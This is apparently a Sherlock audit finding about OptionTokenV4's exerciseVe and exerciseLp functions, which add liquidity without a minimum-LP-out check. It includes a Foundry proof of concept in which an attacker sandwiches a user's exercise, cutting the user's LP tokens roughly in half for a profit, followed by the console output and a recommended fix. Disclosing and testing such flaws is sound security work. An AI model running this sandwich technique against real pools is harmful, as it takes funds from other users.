Polite Butter Gazelle

Medium

# `OptionTokenV4::exerciseVe` and `OptionTokenV4::exerciseLp` are missing checks for minimum LP tokens returned, causing loss of funds

## Summary

`OptionTokenV4::exerciseVe` and `OptionTokenV4::exerciseLp` allows users to exercise their `oFLOW` tokens by burning them and pulling `paymentToken` (i.e., DAI) from the caller, which is used to add liquidity for the respective `FLOW/paymentToken` pool in return for LP tokens. `OptionTokenV4::exerciseVe` will lock these LP tokens to mint a `veNFT` to the caller, whereas `OptionTokenV4::exerciseLp` will lock these tokens in the pool's gauge for rewards.

There is a problem regarding the amount of LP tokens returned, there is no slippage parameter enforced that allows the caller to specify a minimum amount returned. This allows for the following scenarios where the innocent user will receive less LP tokens than expected from adding liquidity, causing a loss of funds:

1. Attacker executes swaps before and after the transaction is executed to manipulate the price of the pool for a profit (sandwich attack)
2. Amount of liquidity in the pool changes prior to execution (large amount of transactions, swaps, etc)

## Vulnerability Detail

Let's take a look at `OptionTokenV4::exerciseVe`, but note that the exact issue applies to `OptionTokenV4::exerciseLp` as well.

[OptionTokenV4.sol#L593-L650](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L593-L650)
```javascript
    function _exerciseVe(
        uint256 _amount,
        uint256 _maxPaymentAmount,
        uint256 _discount,
        address _recipient
    ) internal returns (uint256 paymentAmount, uint256 nftId,uint256 lpAmount) {
        
        ...
            
        // burn callers tokens
        _burn(msg.sender, _amount);
        
        ...

        _safeTransferFrom(
            paymentToken,
            msg.sender,
            address(this),
            paymentGaugeRewardAmount + paymentAmountToAddLiquidity
        );

        ...

@>      (, , lpAmount) = IRouter(router).addLiquidity(
            underlyingToken,
            paymentToken,
            false,
            _amount,
            paymentAmountToAddLiquidity,
            1,
            1,
            address(this),
            block.timestamp
        );

        // lock underlying tokens to veFLOW
        _safeApprove(address(pair), votingEscrow, lpAmount);
        nftId = IVotingEscrow(votingEscrow).create_lock_for(
@>          lpAmount,
            getLockDurationForLpDiscount(_discount),//FULL_LOCK, // TODO decide
            _recipient
        );

        ...
    }
```

We can see that the `lpAmount` from adding liquidity is directly locked, there is no check for the minimum amount returned. 

As mentioned above, this allows for scenarios where an attacker could sandwich attack this call, or the amount of liquidity in the pool can change prior to execution, causing the user to receive far less `lpAmount` than expected, which is immediately locked.

> <strong>Note:</strong>
>
> It's important to state that although there is a deadline mechanism enforced for these functions, that is not enough to prevent sandwich attacks or other large swaps before function execution, as transactions can be sped up by paying more gas fees.

## Proof of Concept

<details>
<summary>Coded PoC</summary>
<br>

There are two test functions for this test. The first test function displays how many LP tokens the innocent user receives without any sandwich attacks/prior swaps on the pool.

The second test runs the exact test as the first test, but with an attacker sandwich attacking the innocent user.

#### First test:

Add the following to `test/OptionTokenV4.t.sol` and run `forge test --mt testWithoutSandwichAttack -vv`

```javascript
    function testWithoutSandwichAttack() public {
        vm.startPrank(address(owner));
        FLOW.approve(address(oFlowV4), TOKEN_100K);
        // mint Option token to owner 2
        oFlowV4.mint(address(owner2), TOKEN_100K);
        washTrades();
        flowDaiPair.approve(address(gauge),TOKEN_100K);
        vm.stopPrank();

        // innocent user exercises oFLOW
        vm.startPrank(address(owner2));
        DAI.approve(address(oFlowV4), 1e30);
        uint256 daiBefore = DAI.balanceOf(address(owner2));
        (uint256 paymentAmount, uint256 lpAmount) = oFlowV4.exerciseLp(TOKEN_100K, TOKEN_100K, address(owner),20,block.timestamp);
        uint256 daiAfter = DAI.balanceOf(address(owner2));
        vm.stopPrank();

        console.log("LP amount received from innocent user's add liquidity: ", lpAmount);
    }
```

#### Second test:

Add the following to `test/OptionTokenV4.t.sol` and run `forge test --mt testSandwichAttack -vv`

```javascript
    function testSandwichAttack() public {
        uint256 paymentAmount;
        uint256 lpAmount;
        vm.startPrank(address(owner));
        FLOW.approve(address(oFlowV4), TOKEN_100K);
        // mint Option token to owner 2
        oFlowV4.mint(address(owner2), TOKEN_100K);
        washTrades();
        flowDaiPair.approve(address(gauge),TOKEN_100K);
        vm.stopPrank();

        // attacker swaps FLOW -> DAI prior to execution
        vm.startPrank(address(owner));
        FLOW.approve(address(router), 1e50);
        DAI.approve(address(router), 1e50);

        uint256 daiBeforeSwap = DAI.balanceOf(address(owner));
        uint256 flowBeforeSwap = FLOW.balanceOf(address(owner));
        router.swapExactTokensForTokensSimple(
            1e23,
            1,
            address(FLOW),
            address(DAI),
            false,
            address(owner),
            block.timestamp
        );
        uint256 flowAfterSwap = FLOW.balanceOf(address(owner));
        uint256 flowSpent = flowBeforeSwap - flowAfterSwap;
        uint256 daiAfterSwap = DAI.balanceOf(address(owner));
        uint256 daiEarned = daiAfterSwap - daiBeforeSwap;
        vm.stopPrank();

        // innocent user exercises oFLOW, but will receive less LP tokens
        vm.startPrank(address(owner2));
        DAI.approve(address(oFlowV4), 1e30);
        (paymentAmount, lpAmount) = oFlowV4.exerciseLp(TOKEN_100K, TOKEN_100K, address(owner),20,block.timestamp);
        vm.stopPrank();
        console.log("LP amount received from innocent user's add liquidity: ", lpAmount);

        // attacker backruns and swaps from DAI back to FLOW tokens
        flowBeforeSwap = FLOW.balanceOf(address(owner));
        router.swapExactTokensForTokensSimple(
            daiEarned,
            1,
            address(DAI),
            address(FLOW),
            false,
            address(owner),
            block.timestamp
        );
        flowAfterSwap = FLOW.balanceOf(address(owner));
        uint256 flowEarned = flowAfterSwap - flowBeforeSwap;
        console.log("Total FLOW tokens attacker profited: ", flowEarned - flowSpent);
    }
```
</details>

### Console Output

```text
Running 1 test for test/OptionTokenV4.t.sol:OptionTokenV4Test
[PASS] testWithoutSandwichAttack() (gas: 3341714)
Logs:
  LP amount received from innocent user's add liquidity:  100000000099372902838239

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.60ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

```text
Running 1 test for test/OptionTokenV4.t.sol:OptionTokenV4Test
[PASS] testSandwichAttack() (gas: 3501916)
Logs:
  LP amount received from innocent user's add liquidity:  50077387812628011357118
  Total FLOW tokens attacker profited:  19920544988248355232335

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.13ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

We can see that the innocent user was supposed to receive `100000000099372902838239` LP tokens, but instead received `50077387812628011357118` (which is far less) LP tokens due to the sandwich attack where the attacker profited `19920544988248355232335` FLOW tokens.

## Impact

Loss of funds for users, less LP tokens locked than expected, attacker can profit from sandwich attacks

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L593-L650

## Tool used

Manual Review

## Recommendation

Incorporate slippage control for minimum amount of LP tokens received, which the user can specify. Ensure to apply the changes to both `OptionTokenV4::exerciseVe` and `OptionTokenV4::exerciseLp`:

```diff
    function exerciseVe(
        uint256 _amount,
        uint256 _maxPaymentAmount,
+       uint256 _minLpOut
        address _recipient,
        uint256 _discount,
        uint256 _deadline
    ) external returns (uint256, uint256,uint256) {
        if (block.timestamp > _deadline) revert OptionToken_PastDeadline();
        return _exerciseVe(_amount, _maxPaymentAmount,_discount, _recipient);
    }
```

```diff
        (, , lpAmount) = IRouter(router).addLiquidity(
            underlyingToken,
            paymentToken,
            false,
            _amount,
            paymentAmountToAddLiquidity,
            1,
            1,
            address(this),
            block.timestamp
        );

+       require(lpAmount >= _minLpOut);

        // lock underlying tokens to veFLOW
        _safeApprove(address(pair), votingEscrow, lpAmount);
        nftId = IVotingEscrow(votingEscrow).create_lock_for(
            lpAmount,
            getLockDurationForLpDiscount(_discount),//FULL_LOCK, // TODO decide
            _recipient
        );
```